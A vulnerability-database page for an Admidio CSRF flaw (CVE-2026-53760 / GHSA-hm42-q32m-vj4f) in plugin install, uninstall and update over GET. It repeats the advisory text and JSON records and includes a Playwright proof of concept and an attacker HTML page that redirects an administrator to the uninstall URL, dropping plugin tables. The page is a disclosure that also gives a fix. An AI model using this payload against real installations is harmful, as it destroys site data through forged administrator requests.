Vulnerability-Lookup

CVE-2026-53760 (GCVE-0-2026-53760)

Vulnerability from cvelistv5 – Published: 2026-09-04 17:54 – Updated: 2026-09-09 16:00

Title

Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests

Summary

Admidio is an open-source user management solution. In versions 5.0.11 and prior, the modules/plugins.php endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include SameSite=Lax session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data. This issue has been patched via commit 056b1bd.

Severity

5.2 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-09 16:00 UTC

CWE

CWE-352 - Cross-Site Request Forgery (CSRF)

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/Admidio/admidio/security/advis…	x_refsource_CONFIRM
https://github.com/Admidio/admidio/commit/056b1bd…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
Admidio	admidio	Affected: < 056b1bd9f995437395e337d2c73a32e5c96ee616	guessed

Show details on NVD website

JSON

To clipboard

{
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                "id": "CVE-2026-53760",
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FKIE_CVE-2026-53760

Vulnerability from fkie_nvd - Published: 2026-09-04 18:17 - Updated: 2026-09-09 21:09

Severity

5.2 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/Admidio/admidio/commit/056b1bd9f995437395e337d2c73a32e5c96ee616
	security-advisories@github.com	https://github.com/Admidio/admidio/security/advisories/GHSA-hm42-q32m-vj4f
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/Admidio/admidio/security/advisories/GHSA-hm42-q32m-vj4f

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "admidio",
          "vendor": "Admidio",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 056b1bd9f995437395e337d2c73a32e5c96ee616"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Admidio is an open-source user management solution. In versions 5.0.11 and prior, the modules/plugins.php endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include SameSite=Lax session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data. This issue has been patched via commit 056b1bd."
    }
  ],
  "id": "CVE-2026-53760",
  "lastModified": "2026-09-09T21:09:13.080",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 5.2,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 0.9,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-53760",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-09T16:00:10.874668Z",
          "version": "2.0.3"
        }
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    ]
  },
  "published": "2026-09-04T18:17:52.770",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Admidio/admidio/commit/056b1bd9f995437395e337d2c73a32e5c96ee616"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-hm42-q32m-vj4f"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-hm42-q32m-vj4f"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-352"
        }
      ],
      "source": "security-advisories@github.com",
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    }
  ]
}

GHSA-HM42-Q32M-VJ4F

Vulnerability from github – Published: 2026-07-09 13:44 – Updated: 2026-07-09 13:44

Summary

Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests

Details

Summary

The modules/plugins.php endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include SameSite=Lax session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.

Details

modules/plugins.php reads the mode (install, uninstall, update) and name parameters directly from $_GET:

// modules/plugins.php
$mode = admFuncVariableIsValid($_GET, 'mode', 'string');
$pluginName = admFuncVariableIsValid($_GET, 'name', 'string');

The file contains zero calls to SecurityUtils::validateCsrfToken(). Other administrative operations in the same codebase (such as the save mode in preferences) validate CSRF tokens correctly.

Because the operations use GET requests, modern browsers send SameSite=Lax cookies on top-level GET navigations (link clicks, redirects, window.location assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.

The doUninstall() function is the most destructive path. It executes SQL scripts from the plugin's db_scripts/ directory, which contain DROP TABLE statements:

// modules/plugins.php - doUninstall()
function doUninstall($pluginFolder) {
    // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql
    // Contains DROP TABLE statements
}

Proof of Concept

The following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint:

// playwright-csrf-poc.js
const { test, expect } = require('@playwright/test');

test('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => {
    const context = await browser.newContext();
    const page = await context.newPage();

    // Step 1: Admin logs in to Admidio
    await page.goto('https://admidio.example.com/adm_program/system/login.php');
    await page.fill('#usr_login_name', 'admin');
    await page.fill('#usr_password', 'password');
    await page.click('#btn_login');
    await page.waitForURL('**/overview.php');

    // Step 2: Admin visits attacker-controlled page on different origin
    // The attacker page contains:
    //   <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script>
    await page.goto('https://attacker.example.com/csrf.html');

    // Step 3: Browser follows redirect with SameSite=Lax cookies
    // The birthday plugin is uninstalled, its database tables dropped
    await page.waitForURL('**/plugins.php*');

    // Verify the plugin was uninstalled
    await page.goto('https://admidio.example.com/adm_program/modules/plugins.php');
    const content = await page.content();
    expect(content).not.toContain('birthday');
});

Simplified attacker page (csrf.html hosted on attacker origin):

<html>
<body>
<script>
  window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';
</script>
</body>
</html>

When an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.

Impact

An unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The uninstall operation executes DROP TABLE statements, causing irreversible data loss. The install operation activates plugins with known vulnerabilities. The update operation disrupts plugin functionality. The victim only needs to visit a single page.

Recommended Fix

Switch plugin install, uninstall, and update operations from GET to POST requests. Add SecurityUtils::validateCsrfToken() checks to all state-changing operations in modules/plugins.php, consistent with the pattern used elsewhere in the codebase.

Found by aisafe.io

Severity

5.2 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T13:44:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `modules/plugins.php` endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include `SameSite=Lax` session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.\n\n## Details\n\n`modules/plugins.php` reads the `mode` (install, uninstall, update) and `name` parameters directly from `$_GET`:\n\n```php\n// modules/plugins.php\n$mode = admFuncVariableIsValid($_GET, \u0027mode\u0027, \u0027string\u0027);\n$pluginName = admFuncVariableIsValid($_GET, \u0027name\u0027, \u0027string\u0027);\n```\n\nThe file contains zero calls to `SecurityUtils::validateCsrfToken()`. Other administrative operations in the same codebase (such as the `save` mode in preferences) validate CSRF tokens correctly.\n\nBecause the operations use GET requests, modern browsers send `SameSite=Lax` cookies on top-level GET navigations (link clicks, redirects, `window.location` assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.\n\nThe `doUninstall()` function is the most destructive path. It executes SQL scripts from the plugin\u0027s `db_scripts/` directory, which contain `DROP TABLE` statements:\n\n```php\n// modules/plugins.php - doUninstall()\nfunction doUninstall($pluginFolder) {\n    // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql\n    // Contains DROP TABLE statements\n}\n```\n\n## Proof of Concept\n\nThe following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator\u0027s browser to the uninstall endpoint:\n\n```javascript\n// playwright-csrf-poc.js\nconst { test, expect } = require(\u0027@playwright/test\u0027);\n\ntest(\u0027CSRF plugin uninstall via cross-origin redirect\u0027, async ({ browser }) =\u003e {\n    const context = await browser.newContext();\n    const page = await context.newPage();\n\n    // Step 1: Admin logs in to Admidio\n    await page.goto(\u0027https://admidio.example.com/adm_program/system/login.php\u0027);\n    await page.fill(\u0027#usr_login_name\u0027, \u0027admin\u0027);\n    await page.fill(\u0027#usr_password\u0027, \u0027password\u0027);\n    await page.click(\u0027#btn_login\u0027);\n    await page.waitForURL(\u0027**/overview.php\u0027);\n\n    // Step 2: Admin visits attacker-controlled page on different origin\n    // The attacker page contains:\n    //   \u003cscript\u003ewindow.location = \u0027https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall\u0026name=birthday\u0027;\u003c/script\u003e\n    await page.goto(\u0027https://attacker.example.com/csrf.html\u0027);\n\n    // Step 3: Browser follows redirect with SameSite=Lax cookies\n    // The birthday plugin is uninstalled, its database tables dropped\n    await page.waitForURL(\u0027**/plugins.php*\u0027);\n\n    // Verify the plugin was uninstalled\n    await page.goto(\u0027https://admidio.example.com/adm_program/modules/plugins.php\u0027);\n    const content = await page.content();\n    expect(content).not.toContain(\u0027birthday\u0027);\n});\n```\n\nSimplified attacker page (`csrf.html` hosted on attacker origin):\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\n  window.location = \u0027https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall\u0026name=birthday\u0027;\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.\n\n## Impact\n\nAn unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The `uninstall` operation executes DROP TABLE statements, causing irreversible data loss. The `install` operation activates plugins with known vulnerabilities. The `update` operation disrupts plugin functionality. The victim only needs to visit a single page.\n\n## Recommended Fix\n\nSwitch plugin install, uninstall, and update operations from GET to POST requests. Add `SecurityUtils::validateCsrfToken()` checks to all state-changing operations in `modules/plugins.php`, consistent with the pattern used elsewhere in the codebase.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-hm42-q32m-vj4f",
  "modified": "2026-07-09T13:44:40Z",
  "published": "2026-07-09T13:44:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-hm42-q32m-vj4f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-53760 (GCVE-0-2026-53760)

FKIE_CVE-2026-53760

GHSA-HM42-Q32M-VJ4F

Summary

Details

Proof of Concept

Impact

Recommended Fix

Tags

Sightings

Nomenclature